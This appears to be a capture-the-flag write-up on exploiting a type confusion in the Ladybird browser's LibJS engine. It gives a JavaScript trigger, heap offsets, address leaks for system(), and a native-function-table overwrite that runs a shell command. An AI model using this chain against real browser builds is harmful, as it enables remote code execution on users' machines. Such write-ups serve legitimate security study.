1up clank bro
Ladybird LibJS inline-cache type confusion after a GC sweep → unchecked heap OOB R/W → native function table hijack for RCE
NNS{rob07_br0_sP3N7_4ll_h15_toKen5_anD_CPu_CYCl35_and_cam3_BaCK_3mpty_haNd3d_bu7_f4k3_obJ3C75_7UrN3D_the_14dYb1rd_1Nto_th3_14dYBu6_h1d1n6_1n51d3_HEAD_aF73R_all} Method: the search space should have been ordered by commit, not by file
Ten rounds of auditing LibJS file by file turned up only two latent bugs, neither reachable. The problem was not what was being audited but the order — the local checkout was a depth-2 shallow clone, so there was no way to ask which code was new.
git rev-parse --is-shallow-repository # true
git fetch --shallow-since='2026-06-15' origin master
git log --format='%ci %h %s' --since='2026-08-13' 3d220afc3 -- Libraries/LibJS Libraries/LibGC
git log --oneline 3d220afc3..origin/master -- Libraries/LibJS # a fix here means n-day, not 0day
With the history filled in, the search space collapsed from 3,746 lines to 40 commits, and the bug was in one of them.
The bug: the GC sweep clears the pointers but keeps the type
ad8fdda1e (megamorphic cache, seven days before the pin) introduced an asymmetry —
Bytecode/Executable.cpp:621:
And all three hit paths branch on whether prototype is null, not on the entry type:
// Bytecode/PropertyAccess.h:176
auto cached_prototype = cache_entry.prototype.ptr();
if (cached_prototype) { /* shape · dict gen · chain validity checks */ }
else if (&shape == cache_entry.shape.ptr()) { // <- a swept entry lands here
return base_obj->get_direct(cache_entry.property_offset); // no bounds check
}
# Interpreter/interpreter.flap:2425 (GetById)
if cached_prototype != 0 {
guard prototype_chain_validity.valid != 0 else try_cache; # skipped entirely when prototype == 0
holder = cached_prototype;
}
let value = holder.named_properties[property_cache.property_offset]; # unchecked OOB read
# :2472 (PutById) - same decision, unchecked OOB write
guard property_cache.prototype == 0 else try_cache;
object.named_properties[property_cache.property_offset] = load(src);
INLINE_NAMED_PROPERTY_CAPACITY is 2 and the offset is the prototype’s property count,
so it is effectively unbounded.
Trigger — gc() was not a grooming tool, it was the trigger
Shape keeps no back-pointer to the previous shape, every transition is a GC::Weak, and
visit_edges does visitor.ignore(m_child_prototype_shapes). So in o -> p1 -> p2,
severing p1’s prototype drops the only strong reference to p2. o’s shape is untouched.
function mk() { // p2 becomes unreachable once mk() returns
const p2 = {};
for (let i = 0; i < 100; ++i) p2["pad" + i] = i;
p2.value = 0x41414141; // offset 100
const p1 = Object.create(p2);
return { o: Object.create(p1), p1: p1 };
}
const c = mk();
for (let i = 0; i < 200; ++i) read(c.o); // warm the site to monomorphic
Object.setPrototypeOf(c.p1, null);
gc(); // prototype nulled, type/offset survive
print(read(c.o)); // must be undefined per spec
Pitfall: build the chain inside an IIFE and
const p2stays a local of a live frame, so it is never collected. It has to be built inside a function that has returned.
Exploit chain
- Heap map — spray marked neighbours and sweep the OOB read: a
JS::Objectcell has a stride of 9 slots (72 B) —+0vtable,+1GC header,+3m_shape,+4m_named_properties,+7/+8the inline slots. - Absolute R/W — overwrite a neighbour cell’s
m_named_properties(OOB offset6 + 9k) with an arbitrary address. - Base leaks — the vtable is
_ZTVN2JS6ObjectE + 16=0x7ee520, solagom_base = leaked - 0x7ee520. The GOT slot for__errno_location(+0x836878) givessystem = leak + 0x31be0; hardcoding is safe because the image is pinned by digest. &VM—VM::VM()starts withm_heap([this]{...})andAK::Functionstores 32 bytes inline, so the VM pointer sits inside the Heap object:cell -> (cell & ~0x3FFF) -> *(u64*)block -> [vptr][captured this]. Verified by*(u64*)&VM == 1(the refcount).- Hijack —
NativeFunction::create()returns aRawNativeFunctionin every case, so every builtin dispatches throughVM::m_native_function_table. Full RELRO closes the GOT, but this table lives on the heap. Write the command string at the start of the VM, overwrite the entries withsystem, then call any builtin:RDI = &VM, sosystem("/readflag nns 1up-clank-bro")runs. (ThrowCompletionOr<Value>is 16 bytes, so there is no sret and RDI really is the first argument.)
Three things that stalled the exploit
typeofdereferences a cell-tagged value. Scanning.textwith the arbitrary read segfaulted.Number.isFiniteinspects only the tag and never dereferences. The better fix was to drop the scan altogether.- The table’s Vector gets reallocated. Lazily created intrinsics register themselves and move the buffer, so the writes were landing in a freed one. Touch every builtin you intend to use up front, and re-read the data pointer immediately before overwriting.
- The command words exceed 2^53. Round-tripping
hi * 2**32 + lothrough a JS number rounds the low bits away — the leading'/'became0x00andsystem("")was returning silently. The halves have to be written straight into theFloat64Array.
Why this survived
CMakeLists.txt passes --enable-assertions only for Debug/ASAN builds, and the challenge
build is RelWithDebInfo. The backend’s finalize_assertion returns immediately when there is
no ok_label, so the ~60 assert_* in interpreter.flap emit zero bytes. The only real
checks are the guards, and the C++ path where the assertions do survive (VERIFY) is
almost never executed.